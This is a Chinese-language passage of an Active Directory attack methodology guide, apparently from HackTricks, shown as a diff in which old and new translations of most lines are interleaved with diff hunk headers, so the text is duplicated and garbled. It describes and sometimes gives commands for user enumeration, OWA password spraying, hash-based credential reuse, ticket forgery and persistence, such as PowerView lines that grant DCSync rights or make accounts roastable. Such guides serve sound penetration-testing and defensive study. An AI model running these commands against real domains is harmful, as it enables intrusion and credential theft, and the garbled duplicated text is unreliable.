- **No Authentication against MS-NRPC**: 对域控制器上的 MS-NRPC (Netlogon) 接口使用 auth-level = 1No authentication。该方法在绑定 MS-NRPC 接口后调用 `DsrGetDcNameEx2` 函数,以在不使用任何凭据的情况下检查用户或计算机是否存在。该类型枚举由 [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) 工具实现。相关研究可见 [here](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
- **Anonymous SMB/LDAP enum:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) 和 [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) 页面。
- **Kerbrute enum**: 当请求一个 **invalid username** 时,服务器会使用 **Kerberos error** 代码 _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ 响应,从而让我们判断该用户名无效。**Valid usernames** 会触发要么在 AS-REP 中返回 **TGT**,要么返回错误 _KRB5KDC_ERR_PREAUTH_REQUIRED_表示该用户需要执行预认证
- **No Authentication against MS-NRPC**: 在域控制器上对 MS-NRPC (Netlogon) 接口使用 auth-level = 1无认证。该方法在绑定 MS-NRPC 接口后调用 `DsrGetDcNameEx2` 函数,以在无需任何凭证的情况下检查用户或计算机是否存在。工具 [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) 实现了这种类型的枚举。相关研究可在此处找到:[here](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -97,7 +97,7 @@ python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/Nau
```
- **OWA (Outlook Web Access) Server**
如果在网络中发现了这类服务器,你也可以对其进**user enumeration**。例如,你可以使用工具 [**MailSniper**](https://github.com/dafthack/MailSniper)
如果在网络中发现了其中一台服务器,你也可以针对它执**user enumeration**。例如,你可以使用工具 [**MailSniper**](https://github.com/dafthack/MailSniper):
```bash
ipmo C:\Tools\MailSniper\MailSniper.ps1
# Get info about the domain
@ -110,17 +110,17 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
```
> [!WARNING]
> 你可以在 [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) 和这个仓库 ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) 找到用户名列表。
> You can find lists of usernames in [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) and this one ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
>
> 不过,你应该已经在之前的 recon 步骤中收集到公司的员工姓名。通过名字和姓氏,你可以使用脚本 [**namemash.py**](https://gist.github.com/superkojiman/11076951) 生成潜在的有效用户名。
> However, you should have the **name of the people working on the company** from the recon step you should have performed before this. With the name and surname you could used the script [**namemash.py**](https://gist.github.com/superkojiman/11076951) to generate potential valid usernames.
### 知一个或多个用户名
### 知一个或多个用户名
好,假设你已经知道一个有效的用户名但没有密码…… 那么可以尝试:
好,你已经知道一个或多个有效的用户名但没有密码…… 那么尝试:
- [**ASREPRoast**](asreproast.md):如果某个用户**没有**属性 _DONT_REQ_PREAUTH_你可以**请求一个 AS_REP message**,该消息会包含一些用该用户密码派生值加密的数据。
- [**Password Spraying**](password-spraying.md):对每个已发现的用户尝试最常见的**密码**,也许某些用户在使用弱密码(记住密码策略!)。
- 注意你也可以**spray OWA servers** 来尝试访问用户的邮件服务器。
- [**ASREPRoast**](asreproast.md): 如果一个用户**没有**属性 _DONT_REQ_PREAUTH_你可以为该用户**请求一个 AS_REP 消息**,其中会包含一些由该用户密码派生出的加密数据。
- [**Password Spraying**](password-spraying.md): 对发现的每个用户尝试一些**最常见的密码**,也许某些用户在使用弱密码(注意密码策略!)。
- 注意你也可以**对 OWA 服务器进行喷洒**尝试访问用户的邮件服务器。
{{#ref}}
password-spraying.md
@ -128,8 +128,7 @@ password-spraying.md
### LLMNR/NBT-NS Poisoning
你可能能够通过**poisoning**某些**network**协议来**obtain**一些 challenge **hashes** 以进行 crack
你可能能够通过**投毒**网络中的某些协议来**获取**一些可供破解的挑战**哈希**
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -137,76 +136,73 @@ password-spraying.md
### NTLM Relay
如果你已经成功枚举了 active directory你会获得**更多的邮箱信息和对网络的更好理解**。你或许能够强制进行 NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) 来获取对 AD env 的访问权限
如果你已经成功枚举了 Active Directory你将会有**更多的邮箱地址和对网络的更好理解**。你可能能够强制执行 NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) 来获取对 AD 环境的访问
### Steal NTLM Creds
如果你可以使用 **null or guest user** 访问其他 PC 或 shares你可以**放置文件**(例如 SCF file当这些文件被访问时会 t**rigger an NTLM authentication against you**,这样你就能**steal**该 **NTLM challenge** 并进行破解:
如果你能以 **null****guest user** 访问其他 PC 或共享,你可以**放置文件**(例如 SCF 文件),当这些文件被访问时会**触发对你的 NTLM 认证**,这样你就可以**窃取**用于破解的 **NTLM challenge**
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
## 使用凭据/会话枚举 Active Directory
## 使用凭证/会话 枚举 Active Directory
在此阶段,你需要已**compromised the credentials or a session of a valid domain account。** 如果你有一些有效的 credentials 或以域用户身份获得了 shell**请记住之前提到的选项仍然是用来 compromise 其他用户的可选方法**。
在开始 authenticated enumeration 之前,你应该了解 **Kerberos double hop problem**
在此阶段,你需要**已攻破一个有效域账号的凭证或会话**。如果你有一些有效凭证或以域用户身份的 shell**请记住之前提到的那些选项仍然可以用来攻破其他用户**。
在开始认证枚举之前,你应该了解 **Kerberos double hop problem**
{{#ref}}
kerberos-double-hop-problem.md
{{#endref}}
### Enumeration
### 枚举
妥协一个账户是开始 compromise 整个 domain 的**重要一步**,因为你将能够开始进行 **Active Directory Enumeration**
已攻破一个账号是开始攻破整个域的**重要一步**,因为你将能够开始进行 **Active Directory 枚举**
关于 [**ASREPRoast**](asreproast.md),你现在可以找到所有可能的易受影响用户;关于 [**Password Spraying**](password-spraying.md),你可以得到**所有用户名的列表**并尝试使用被 compromise 的账户密码、空密码或其他可能的密码。
关于 [**ASREPRoast**](asreproast.md) 你现在可以找到所有可能的易受影响用户,关于 [**Password Spraying**](password-spraying.md) 你可以获取**所有用户名的列表**并尝试使用被攻破账号的密码、空密码以及其他可能的密码。
- 你可以使用 [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info)
- 你也可以使用 [**powershell for recon**](../basic-powershell-for-pentesters/index.html),这会更隐蔽
- 你可以 [**use powerview**](../basic-powershell-for-pentesters/powerview.md) 提取更详细的信息
- 另一个用于 Active Directory recon 的强大工具是 [**BloodHound**](bloodhound.md)。它(取决于你使用的收集方法)**不太隐蔽**,但如果你不在意被发现,强烈推荐尝试。查找用户可以 RDP 的位置、到其他组的路径等。
- **其他自动化 AD 枚举工具有:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**。**
- [**DNS records of the AD**](ad-dns-records.md),它们可能包含有用的信息。
- 一个带 GUI 的工具用于枚举目录是来自 SysInternal 套件的 AdExplorer.exe。
- 你也可以使用 ldapsearch 在 LDAP 数据库中搜索,查找字段 _userPassword_ & _unixUserPassword_ 中的凭据,或者_Description_ 字段中查找。参见 [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) 获取其他方法。
- 如果你使用的是 Linux你还可以使用 [**pywerview**](https://github.com/the-useless-one/pywerview) 枚举域。
- 你可以 [**use powerview**](../basic-powershell-for-pentesters/powerview.md) 提取更详细的信息
- 另一个用于 Active Directory 枚举的优秀工具是 [**BloodHound**](bloodhound.md)。它**比较不隐蔽**(取决于你使用的收集方法),但**如果你不在意**,强烈推荐尝试。找出用户可以 RDP 的位置,查找通往其他组的路径等。
- **其他自动化 AD 枚举工具包括:** [**AD Explorer**](bloodhound.md#ad-explorer)**** [**ADRecon**](bloodhound.md#adrecon)**** [**Group3r**](bloodhound.md#group3r)**** [**PingCastle**](bloodhound.md#pingcastle)**。**
- [**AD 的 DNS 记录**](ad-dns-records.md),因为它们可能包含有趣的信息。
- 一个带 GUI 的目录枚举工具是来自 **SysInternal** 套件的 **AdExplorer.exe**
- 你也可以**ldapsearch** 在 LDAP 数据库中搜索 _userPassword__unixUserPassword_ 字段中的凭证,或_Description_ 字段中查找。参见 PayloadsAllTheThings 上的 [Password in AD User comment](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) 了解其他方法。
- 如果你使用 **Linux**,你也可以使用 [**pywerview**](https://github.com/the-useless-one/pywerview) 枚举域。
- 你也可以尝试以下自动化工具:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- **提取所有域用户**
从 Windows 很容易获取所有域用户名(`net user /domain``Get-DomainUser``wmic useraccount get name,sid`)。在 Linux 上,你可以使用:`GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username``enum4linux -a -u "user" -p "password" <DC IP>`
从 Windows 很容易获取所有域用户名(`net user /domain``Get-DomainUser``wmic useraccount get name,sid`)。在 Linux 上,你可以使用:`GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username``enum4linux -a -u "user" -p "password" <DC IP>`
> 即使这一 Enumeration 部分看起来很短,它也是最重要的部分。访问这些链接(主要是 cmd、powershell、powerview 和 BloodHound 的链接),学习如何枚举域并反复练习直到熟练。在一次评估中,这将是你找到通往 DA 的关键时刻,或者判断无能为力的决定点。
> 即便这个枚举章节看起来很短,它却是最重要的部分。打开链接(主要是 cmd、powershell、powerview 和 BloodHound 的链接),学习如何枚举域并反复练习直到你感到熟练。在一次评估中,这将是通往 DA 的关键时刻,或者让你决定无法继续的关键判断点。
### Kerberoast
Kerberoasting 涉及获取由与用户账户关联的服务使用的 **TGS tickets**,并离线破解其基于用户密码的加密。
Kerberoasting 包括获取由与用户账号关联的服务使用的 **TGS tickets**,并离线破解其基于用户密码的加密。
更多内容见:
{{#ref}}
kerberoast.md
{{#endref}}
### 远程连接 (RDP, SSH, FTP, Win-RM, etc)
### Remote connexion (RDP, SSH, FTP, Win-RM, etc)
一旦你获得了一些 credentials你可以检查是否对任何 **machine** 有访问权限。为此,你可以使用 **CrackMapExec** 根据你的端口扫描尝试通过不同协议连接多台服务器。
一旦你获得了一些凭证,你可以检查是否能访问任何 **机器**。为此,你可以使用 **CrackMapExec** 根据端口扫描结果尝试通过不同协议连接多台服务器。
### Local Privilege Escalation
如果你以常规域用户的身份拥有被 compromise 的 credentials 或 session并且该用户对域内的**任何机器**有**访问**权限,你应该尝试寻找在本地 **escalate privileges locally and looting for credentials** 的方式。只有获得本地管理员权限你才能在内存LSASS或本地SAM中**dump hashes of other users**
如果你以普通域用户的凭证或会话入侵并且以该用户身份**能够访问域中的任意机器**,你应该尝试寻找本地提权路径并搜集凭证。因为只有获得本地管理员权限,你才能**转储其他用户的哈希**(内存中的 LSASS 或本地的 SAM
本书中有一整页内容介绍 [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) 和一份 [**checklist**](../checklist-windows-privilege-escalation.md)。另外,不要忘了使用 [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)。
本书有关于 [**Windows 本地权限提升**](../windows-local-privilege-escalation/index.html) 的完整章节和一份 [**检查清单**](../checklist-windows-privilege-escalation.md)。另外,不要忘记使用 [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)。
### Current Session Tickets
当前用户下找到**tickets** 并赋予你访问意外资源权限的情况非常**unlikely**,但你仍然可以检查:
当前用户持有的 **tickets** 很**不太可能**会赋予你访问意外资源的权限,但你仍可以检查:
```bash
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
@ -216,17 +212,17 @@ kerberoast.md
```
### NTLM Relay
如果你已经成功枚举了 Active Directory你将会有 **更多的电子邮件以及对网络更好的理解**。你可能能够强制执行 NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
如果你已经成功枚举了 Active Directory你将会有**更多的邮箱地址并更好地了解网络**。你可能能够强制执行 NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)****
### Looks for Creds in Computer Shares | SMB Shares
### 在计算机共享中查找 Creds | SMB Shares
现在你已有一些基本的凭证,应该检查是否能在 AD 内 **找到** 任何 **有趣的共享文件**。你可以手动执行,但那是非常枯燥且重复的工作(如果发现数百个文档需要检查就更麻烦了)。
既然你有了一些基本的凭证,你应该检查是否能**找到**任何在 AD 内被共享的**有趣文件**。你可以手动执行,但那是非常乏味且重复的任务(如果你发现数百个需要检查的文档就更甚)。
[**点击此链接了解可用的工具。**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
[**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
### Steal NTLM Creds
如果你可以 **访问其他 PC 或共享**,你可以 **放置文件**(例如 SCF 文件),当这些文件被访问时会触发针对你的 **NTLM 身份验证**,从而让你可以 **窃取** 要破解的 **NTLM challenge**
如果你能**访问其他 PC 或 shares**,你可以**放置文件**(例如 SCF 文件),如果这些文件被访问会**触发针对你的 NTLM 验证**,这样你就可以**窃取**用于破解的**NTLM challenge**
{{#ref}}
@ -235,32 +231,31 @@ kerberoast.md
### CVE-2021-1675/CVE-2021-34527 PrintNightmare
该漏洞允许任何经过身份验证的用户 **攻破域控制器**
此漏洞允许任何已认证用户**攻陷域控制器**
{{#ref}}
printnightmare.md
{{#endref}}
## Privilege escalation on Active Directory WITH privileged credentials/session
## 在拥有特权凭证/会话的情况下对 Active Directory 提权
**对于以下技术,普通域用户权限不足,你需要一些特殊的特权/凭证来执行这些攻击。**
**对于下面的技术,普通域用户不足以执行,你需要一些特殊的权限/凭证来实施这些攻击。**
### Hash extraction
希望你已经设法使用 [AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)(包括 relaying、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md、[escalating privileges locally](../windows-local-privilege-escalation/index.html) 等方法**攻陷了一些本地管理员**账户。
然后,是时候将内存和本地的所有 hashes 转储出来了。
[**阅读此页面,了解获取 hashes 的不同方法。**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
希望你已经通过 [AsRepRoast](asreproast.md)、[Password Spraying](password-spraying.md)、[Kerberoast](kerberoast.md)、[Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)(包括 relaying、[EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)、[escalating privileges locally](../windows-local-privilege-escalation/index.html) 等方法成功**攻陷某些本地管理员**账户。然后,是时候导出内存和本地的所有哈希了。\
[**阅读此页以了解获取哈希的不同方法。**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### Pass the Hash
**一旦你获得了某用户的 hash**,你就可以用它来 **冒充** 该用户。
你需要使用某**tool** 来使用该 **hash** 执行 **NTLM 身份验证****或者** 可以创建一个新的 **sessionlogon** 并将该 **hash** 注入到 **LSASS** 中,这样当进行任何 **NTLM 身份验证** 时就会使用该 **hash**。最后一种方法就是 mimikatz 所做的。
[**阅读此页面了解更多信息。**](../ntlm/index.html#pass-the-hash)
**一旦你得到了某用户的哈希**,你可以用它来**伪装成该用户**。\
你需要使用某些**工具**来**用该哈希执行 NTLM 认证****或者**你可以创建一个新的 **sessionlogon** 并将该 **哈希注入到 LSASS**,这样当执行任何 **NTLM 认证** 时,就会使用该 **哈希**。最后一种方法就是 mimikatz 所做的。\
[**阅读此页以获取更多信息。**](../ntlm/index.html#pass-the-hash)
### Over Pass the Hash/Pass the Key
此攻击旨在**使用用户的 NTLM hash 请求 Kerberos ticket**,作为常见的通过 NTLM 协议的 Pass The Hash 的替代方法。因此,在 NTLM 协议被禁用且仅允许 Kerberos 作为身份验证协议的网络中,这种方法可能特别 **有用**
该攻击旨在**使用用户的 NTLM 哈希来请求 Kerberos 票证**,作为常见的通过 NTLM 协议的 Pass The Hash 的替代方案。因此,在**NTLM 协议被禁用**、仅允许 **Kerberos** 作为认证协议的网络中,这种方法可能特别**有用**
{{#ref}}
@ -269,7 +264,7 @@ over-pass-the-hash-pass-the-key.md
### Pass the Ticket
**Pass The Ticket (PTT)** 攻击方法中,攻击者**窃取用户的身份验证票据**,而不是他们的密码或 hash 值。该被窃取的票据随后被用来**冒充该用户**,从而在网络中获得对资源和服务的未授权访问
**Pass The Ticket (PTT)** 攻击方法中,攻击者**窃取用户的认证票证**,而不是其密码或哈希值。被窃取的票证随后被用来**冒充该用户**,从而在网络内未授权访问资源和服务
{{#ref}}
@ -278,29 +273,29 @@ pass-the-ticket.md
### Credentials Reuse
如果你拥有某个 **本地 administrator****hash****password**,你应该尝试使用它在其他 **PCs****本地登录**
如果你拥有某个本地管理员的**哈希**或**密码**,你应该尝试用它在其他 **PC** 上**本地登录**
```bash
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
> [!WARNING]
> 请注意,这会产生相当多的**噪音**,并且**LAPS**可以**缓解**它
> 注意这会非常**嘈杂**,并且**LAPS**可以**缓解**
### MSSQL 滥用与受信任链接
### MSSQL Abuse & Trusted Links
如果用户有权限**访问 MSSQL instances**,他可能会利用它在 MSSQL 主机上**执行命令**(如果以 SA 身份运行),**窃取** NetNTLM **hash**,甚至执行 **relay** **attack**。\
此外,如果一个 MSSQL 实例被另一个 MSSQL 实例信任database link且该用户对受信任的数据库有权限他将能够**利用信任关系在另一个实例中执行查询**。这些信任可以链式连接,最终用户可能会找到一个配置错误的数据库,在那里他可以执行命令。\
**数据库之间的链接甚至在 forest trusts 跨域时也能工作。**
如果用户有权限**访问 MSSQL 实例**,他可能利用它在 MSSQL 主机上**执行命令**(如果以 SA 身份运行)、**窃取**NetNTLM **hash**,甚至执行 **relay** **attack**。\
另外,如果一个 MSSQL 实例被另一个 MSSQL 实例信任database link且用户对被信任的数据库拥有权限那么他将能够**利用信任关系在其他实例上也执行查询**。这些信任关系可以链式相连,最终用户可能找到一个配置错误的数据库并在其上执行命令。\
**数据库之间的链接甚至可以跨越 forest trusts。**
{{#ref}}
abusing-ad-mssql.md
{{#endref}}
### IT 资产/部署平台 滥用
### IT asset/deployment platforms abuse
第三方的 inventory 和 deployment 套件通常会暴露访问凭证和代码执行的强大途径。参见:
第三方的资产清点和部署套件通常会暴露可获取凭据和代码执行的强大路径。参见:
{{#ref}}
sccm-management-point-relay-sql-policy-secrets.md
@ -312,9 +307,9 @@ lansweeper-security.md
### Unconstrained Delegation
如果你发现任 Computer 对象具有属性 [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>),且你在该计算机上拥有域权限,你将能够从内存中转储每个登录到该计算机的用户的 TGTs。\
因此,如果**Domain Admin logins onto the computer**,你将能够转储他的 TGT 并使用 [Pass the Ticket](pass-the-ticket.md) 冒充他。\
借助 constrained delegation,你甚至可以**自动攻陷 Print Server**(希望它是一个 DC
如果你发现任 Computer 对象具有属性 [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) 并且你在该计算机上有域权限,你将能够从所有登录到该计算机的用户内存中导出 TGT。\
因此,如果一个**Domain Admin 登录到该计算机**,你将能够转储他的 TGT 并使用 [Pass the Ticket](pass-the-ticket.md) 冒充他。\
借助 constrained delegation 你甚至可以**自动攻陷一个 Print Server**(希望它是 DC
{{#ref}}
@ -323,8 +318,8 @@ unconstrained-delegation.md
### Constrained Delegation
如果某个用户或计算机被允许进行 "Constrained Delegation",它将能够**以任何用户的身份模拟访问计算机上的某些服务**。\
然后,如果你**compromise the hash**(掌握该用户/计算机的 hash你将能够**以任何用户的身份模拟**(甚至 domain admins来访问某些服务。
如果某个用户或计算机被允许进行 "Constrained Delegation",它将能够**以任何用户的身份模拟访问某台计算机上的某些服务**。\
然后,如果你**攻破该用户/计算机的 hash**,你将能够**以任何用户(甚至 domain admins的身份**访问这些服务。
{{#ref}}
@ -333,7 +328,7 @@ constrained-delegation.md
### Resourced-based Constrain Delegation
对远程计算机的 Active Directory 对象拥有 **WRITE** 权限,可能导致以**提升的权限**获得代码执行
对远程计算机的 Active Directory 对象具有 **WRITE** 权限可以使得获得**提升权限的代码执行**成为可能
{{#ref}}
@ -342,7 +337,7 @@ resource-based-constrained-delegation.md
### Permissions/ACLs Abuse
被攻陷的用户可能对某些域对象拥有一些**有趣的权限**,这些权限可能允许你 laterally **移动**或**escalate** 权限
被攻破的用户可能对某些域对象拥有一些**有趣的权限**,这些权限可能让你在之后**横向移动/提升权限**
{{#ref}}
@ -351,7 +346,7 @@ acl-persistence-abuse/
### Printer Spooler service abuse
在域内发现 **Spool service listening** 可以被**滥用**以**获取新凭证**并**提升权限**。
在域内发现有**Spool 服务监听**的主机可以被**滥用**来**获取新凭证**并**提升权限**。
{{#ref}}
@ -360,8 +355,8 @@ printers-spooler-service-abuse.md
### Third party sessions abuse
如果**其他用户**访问**被攻陷**的机器,就有可能**从内存中收集凭证**,甚至**在他们的进程中注入 beacons**以模拟他们。\
通常用户会通过 RDP 访问系统,下面展示了在第三方 RDP 会话上执行的几种攻击:
如果**其他用户**访问**被攻破的**机器,就有可能**从内存收集凭据**,甚至**在他们的进程中注入 beacons**以冒充他们。\
通常用户会通过 RDP 访问系统,下面展示了如何对第三方 RDP 会话执行几种攻击:
{{#ref}}
@ -370,8 +365,7 @@ rdp-sessions-abuse.md
### LAPS
**LAPS** 提供了一套用于管理域加入计算机上本地 Administrator 密码的系统,确保这些密码**随机化**、唯一且经常**更改**。这些密码存储在 Active Directory 中,并通过 ACL 控制只授权给特定用户访问。拥有足够权限读取这些密码后,可以进行横向跳转访问其他计算机。
**LAPS** 提供了一个在域加入计算机上管理**本地 Administrator 密码**的系统,确保密码**随机化**、唯一并且经常**更改**。这些密码存储在 Active Directory 中,并通过 ACL 只授予授权用户访问。拥有足够权限读取这些密码后,就可以实现对其他计算机的 pivot。
{{#ref}}
laps.md
@ -379,7 +373,7 @@ laps.md
### Certificate Theft
**从被攻陷的机器收集证书**可能是提升环境内权限的一种方式
**从被攻破的机器收集证书**可能是提升环境内权限的一种途径
{{#ref}}
@ -388,14 +382,14 @@ ad-certificates/certificate-theft.md
### Certificate Templates Abuse
如果配置了**易受攻击的 template**可以滥用它们来提升权限:
如果配置了**易受攻击的 template**则有可能滥用它们以提升权限:
{{#ref}}
ad-certificates/domain-escalation.md
{{#endref}}
## 使用高权限账号的后渗透
## Post-exploitation with high privilege account
### Dumping Domain Credentials
@ -407,22 +401,22 @@ ad-certificates/domain-escalation.md
### Privesc as Persistence
讨论的一些技术可以用于持久化。\
前讨论的一些技术可以用于持久化。\
例如你可以:
- 使用户容易受到 [**Kerberoast**](kerberoast.md) 攻击
- 让用户易受 [**Kerberoast**](kerberoast.md) 攻击
```bash
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
```
- 使用户容易受到 [**ASREPRoast**](asreproast.md) 攻击
- 让用户易受 [**ASREPRoast**](asreproast.md) 攻击
```bash
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
- 授予用户 [**DCSync**](#dcsync) 权限
- 授予用户 [**DCSync**](#dcsync) 权限
```bash
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
@ -430,7 +424,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
### Silver Ticket
**Silver Ticket attack** 通过使用 **NTLM hash**(例如 **PC account 的 hash**),为特定服务创建一个**合法的 Ticket Granting Service (TGS) ticket**。此方法用于**访问该服务的权限**。
**Silver Ticket attack** 利用目标服务的 **NTLM hash**(例如 PC 帐号的 hash创建一个合法的 Ticket Granting Service (TGS) ticket以便**访问该服务的权限**。
{{#ref}}
@ -439,9 +433,9 @@ silver-ticket.md
### Golden Ticket
**Golden Ticket attack** 涉及攻击者获取 Active Directory 环境中 krbtgt 帐户的 **NTLM hash**。该帐户用于对所有 **Ticket Granting Tickets (TGTs)** 签名,这些 TGT 对在 AD 网络中的身份验证至关重要。
**Golden Ticket attack** 涉及攻击者获取 Active Directory 环境中 **krbtgt 帐户****NTLM hash**。该帐户用于签名所有的 **Ticket Granting Tickets (TGTs)**,这些票据在 AD 网络中进行身份验证时至关重要。
一旦攻击者获得此 hash他们就可以为任意帐户创建 **TGTs**(即 Silver ticket attack)。
一旦攻击者获得该 hash他们就可以为任意帐户创建 **TGTs**(即 Silver ticket 攻击的原理)。
{{#ref}}
@ -450,7 +444,7 @@ golden-ticket.md
### Diamond Ticket
这些类似于 golden tickets但以能够**绕过常见的 golden tickets 检测机制**的方式伪造。
这些票据类似于 golden tickets但以能够**绕过常见的 golden tickets 检测机制**的方式伪造。
{{#ref}}
@ -459,7 +453,7 @@ diamond-ticket.md
### **Certificates Account Persistence**
**拥有某个账户的证书或能够请求到它们**,是实现账户持久化的非常有效的方法(即使该用户更改了密码也能保持持久化)
**持有某个帐户的证书或能够请求其证书**是保持该用户帐户持久化(即使用户更改密码)的非常有效的方法
{{#ref}}
@ -468,7 +462,7 @@ ad-certificates/account-persistence.md
### **Certificates Domain Persistence**
**使用证书也可以在域内以高权限实现持久化:**
**使用证书也可以在域内以高权限保持持久化:**
{{#ref}}
@ -477,13 +471,13 @@ ad-certificates/domain-persistence.md
### AdminSDHolder Group
Active Directory 中的 **AdminSDHolder** 对象通过对特权组(如 Domain Admins 和 Enterprise Admins应用标准的 **Access Control List (ACL)** 来确保这些组的安全,防止未经授权的更改。然而,这一功能可能被滥用;如果攻击者修改 AdminSDHolder 的 ACL 以授予普通用户完全访问权限,则该用户将对所有特权组获得广泛控制。这个本用于保护的安全措施如果不被密切监控,反而可能导致未授权访问。
Active Directory 中的 **AdminSDHolder** 对象通过在这些特权组(如 Domain Admins 和 Enterprise Admins上应用标准的 **ACL** 来确保它们的安全,从而防止未授权更改。然而,这一功能也可以被滥用;如果攻击者修改 AdminSDHolder 的 ACL 给普通用户完全控制权,该用户就能对所有特权组获得广泛控制。这个旨在保护的安全机制如果不被密切监控,反而可能被用来获取不当访问。
[**More information about AdminDSHolder Group here.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
### DSRM Credentials
每台 **Domain Controller (DC)** 内都存在一个本地管理员账号。通过在这样的机器上获取管理员权限,可以使用 **mimikatz** 提取本地 Administrator 的 hash。随后需要修改注册表以**启用使用该密码**,从而允许远程访问本地 Administrator 账号
在每台 **Domain Controller (DC)** 中都存在一个**本地管理员**帐户。通过在这样一台机器上获取管理员权限,可以使用 **mimikatz** 导出本地 Administrator 的 hash。随后需要修改注册表以**启用使用该密码**,从而远程访问本地 Administrator 帐户
{{#ref}}
@ -492,7 +486,7 @@ dsrm-credentials.md
### ACL Persistence
你可以为某个**用户**赋予对某些特定域对象的**特殊权限**,使该用户在将来能够**提升权限**。
你可以**赋予**某个**用户**对某些特定域对象的**特殊权限**,这些权限将允许该用户在未来**提升权限**。
{{#ref}}
@ -501,7 +495,7 @@ acl-persistence-abuse/
### Security Descriptors
**Security descriptors** 用于**存储对象的权限**。如果你能在某个对象的 security descriptor 上做一点小改动,就可以在不成为特权组成员的情况下获得对该对象的非常有价值的权限。
**security descriptors** 用于**存储**对象对另一个对象的**权限**。如果你能对对象的 **security descriptor** 做一个**小改动**,你可以在无需成为特权组成员的情况下,获得对该对象的非常有价值的权限。
{{#ref}}
@ -510,7 +504,7 @@ security-descriptors.md
### Skeleton Key
在内存中修改 **LSASS** 以建立一个**通用密码**,从而获得对所有域账户的访问权
在内存中更改 **LSASS** 以建立一个**通用密码universal password**,从而获取对所有域帐户的访问
{{#ref}}
@ -519,8 +513,8 @@ skeleton-key.md
### Custom SSP
